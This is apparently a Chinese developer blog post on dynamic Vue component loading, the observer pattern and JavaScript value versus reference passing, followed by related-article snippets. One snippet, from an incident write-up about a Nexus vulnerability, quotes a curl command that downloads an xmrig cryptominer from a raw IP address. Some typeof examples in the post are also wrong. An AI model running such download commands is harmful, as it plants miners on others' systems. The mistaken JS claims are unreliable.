今天写vue里面通过接口反参动态加载组件时候 跟着同学。。。学习到了

一、先说说vue 内置组件 component 的用法

component组件可以来专门用来进行组件的切换,使用is来绑定你的组件名,本次系统写的比较简单。。。

此处::is='组件名'可以直接条用组件。

因为全页面有十个组件加载,所以用到了循环、数组。就遇到了在方法里可以打印数组里的值,但绑定组件名的地方获取不到的问题。

后来加上了一个数组b,并把b数组的值赋值给a。a就可以获取到了。就是实现了动态加载组件。

二、观察者模式

我需要遍历的数组值更新了,值也赋值了,为什么视图不更新?这个问题网上也有很多解释。

数组之所以获取不到是因为绑定中的观察者模式没有检测到b数组的改变,补习了一下观察者模式。https://blog.csdn.net/xidongdong1/article/details/78613654

意图:定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。

主要解决:一个对象状态改变给其他对象通知的问题,而且要考虑到易用和低耦合,保证高度的协作。

何时使用:一个对象(目标对象)的状态发生改变,所有的依赖对象(观察者对象)都将得到通知,进行广播通知。

如何解决:使用面向对象技术,可以将这种依赖关系弱化。

关键代码:在抽象类里有一个 ArrayList 存放观察者们。

在vue中model被定义为观察者,而view里面进行一处或多处依赖数据绑定即为观察者。https://www.cnblogs.com/pi-xia/articles/9351432.html中还列举了一些被观察者对观察者的控制方法。

当a赋值为b后才被观察者模式检测到,由此也补习了点JS参数值传递和引用传递的知识

三、JS参数值传递和引用传递

字符串、数字、布尔、数组、对象、Null、Undefined

由于js中的变量是松散类型的,所以它提供了一种检测当前变量的数据类型的方法,也就是typeof关键字.

typeof   123   //Number //NaN/isNaN

typeof   'abc'  //String

typeof    true       //Boolean  //true/false

typeof    undefined   //Undefined

typeof    null        //Object  //被当一个空对象引用了

typeof    { }           //Object

typeof    [ ]           //Object

typeof    console.log()       //Function

三大引用类型:object /Array/Function   (按存储类型)

值类型,复制值

引用类型,复制值,但其实是地址,实际上是指针。两个变量都保存了同一个对象地址,则这两个变量指向了同一个对象。因此,改变其中任何一个变量,都会相互影响

可以这样理解 数组里的值改变之后,观察者监听的是a的值,其实是地址,但地址值并没有改变。所以监听不到。而a[]=b[]后,地址值改变就监听到了。

下面的代码:

var a=[1,2,3]

function aaa(b){

b.push(4)

}

aaa(a)

alert(a)// [1,2,3,4]

这里b、a所指地址一样,所以b加了值4,a中的值也改变了。

此外,值类型赋值应该是存储的就是a1=3,这样的值。

这是我目前的理解,这都是以前看过的东西,没有深刻理解,就忘记了。基础的东西不应该忘呀!

有问题的地方欢迎指正。。。谢谢

vue中动态加载组件+开发者模式+JS参数值传递和引用传递的更多相关文章

  1. vue中动态加载img

    想实现动态加载图片,当点击“首页”时,图片变色 代码如下: <mt-tabbar v-model="selected" fixed class="border-1p ...

  2. vue中动态加载图片路径的方法

    assets:在项目编译的过程中会被webpack处理解析为模块依赖,只支持相对路径的形式,如< img src=”./logo.png”>和background:url(./logo.p ...

  3. Vue加载组件、动态加载组件的几种方式

    https://cn.vuejs.org/v2/guide/components.html https://cn.vuejs.org/v2/guide/components-dynamic-async ...

  4. C# 动态加载组件后怎么在开发环境中调试

    动态加载组件 那就是简单的Assembly.Load动态加载dll而以.这网上资料也有不少.基本的思路基本上就是在本地上一个指定目录如[plugs]存在着一堆dll文件.主程序在初始运行时一般会把指定 ...

  5. vue动态加载组件

    vue动态加载组件,可以使用以下方式 <component :is="propertyname" v-for="tab in tabs"></ ...

  6. VUE 动态加载组件的四种方式

    动态加载组件的四种方式: 1.使用import导入组件,可以获取到组件 var name = 'system'; var myComponent =() => import('../compon ...

  7. Vue 动态加载组件

    为什么要动态加载呢?而不是一次性加载呢? 一次性?你能保证你拿的内容不多,那从性能方面说还是OK的.否则,就该什么时候用,就什么时候取. 得出这想法,源于前几天上班赶产品的故事: A组件是父亲,B组件 ...

  8. React router动态加载组件-适配器模式的应用

    前言 本文讲述怎么实现动态加载组件,并借此阐述适配器模式. 一.普通路由例子 import Center from 'page/center'; import Data from 'page/data ...

  9. 某APK中使用了动态注册BroadcastReceiver,Launcher中动态加载此APK出现java.lang.SecurityException异常的解决方法

    在某APK中,通过如下方法动态注册了一个BroadcastReceiver,代码参考如下: @Override protected void onAttachedToWindow() { super. ...

随机推荐

  1. Interllij IDEA中启动web项目

    1.在IDEA中打开你的Web应用,点击一下绿色三角形左边的框框,然后在弹出框上选择Edit Configurations,会弹出一个配置面板. 2.在弹出的面板中我们点击Defaults,然后找到T ...

  2. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...

  3. Unity3D加密保护解决方案

    精锐5加密锁支持Unity3D代码及资源保护,并提供授权方案 产品简介 可使用Virbox Protector加壳工具对Unity3D代码进行加密.Unity3D使用开源mono C#语法,代码会编译 ...

  4. 笔记:Linux(AWS Redhat)开机启动workman进程(/etc/rc.local必须是755权限)

    1.使用which命令查看php的安装路径 [root@ip---- ~]# which php /usr/bin/php 2.使用vim /etc/rc.local将要执行的命令加入/etc/rc. ...

  5. 新装Windows Server 2008 r2无法连接有线网络

    新装的Windows Server 2008 r2没有网卡驱动,所以没有网络适配器. 首先,我在相同的型号电脑上查到这个主板的网卡驱动安装的是Intel(R) Ethernet Coinnection ...

  6. zabbix自动发现自动注册

    一.自动发现 1. 2自动注册详细配置 二.自动注册 1. . 2.自动注册详细配置 三 自动安装zabbix客户端脚本 #!/bin/bash #robin path='/etc/zabbix/za ...

  7. 0.3:Before We Start

    文章著作权归作者所有.转载请联系作者,并在文中注明出处,给出原文链接. 本系列原更新于作者的github博客,这里给出链接. 需要做的准备 首先肯定是需要安装Unity,我这里选择的版本是Unity ...

  8. Lucene的深入

    Lucene创建索引 第一.创建文档对象 第二.创建Field对象(各种类型)整数String.Text.Long.Float.Double等... Field对象 包含三大属性:是否分词,是否索引, ...

  9. 一次聊天引发的思考--java并发包实战

    一次聊天,谈到了死锁的解决.可重入锁等等,突然发现这些离自己很远,只有一些读书时的概念涌入脑海,但各自的应用场景怎么都无法想出.痛定思痛,决定看看concurrent包里涉及并发的类及各自的应用场景. ...

  10. poj1985和poj1849(树的直径)

    题目传送门:poj1985 树是连通无环图,树上任意两点之间的路径是唯一的.定义树上任 意两点u, v的距离为u到v路径上边权的和.树的直径MN为树上最长路 径,即点M和N是树上距离最远的两个点. 题 ...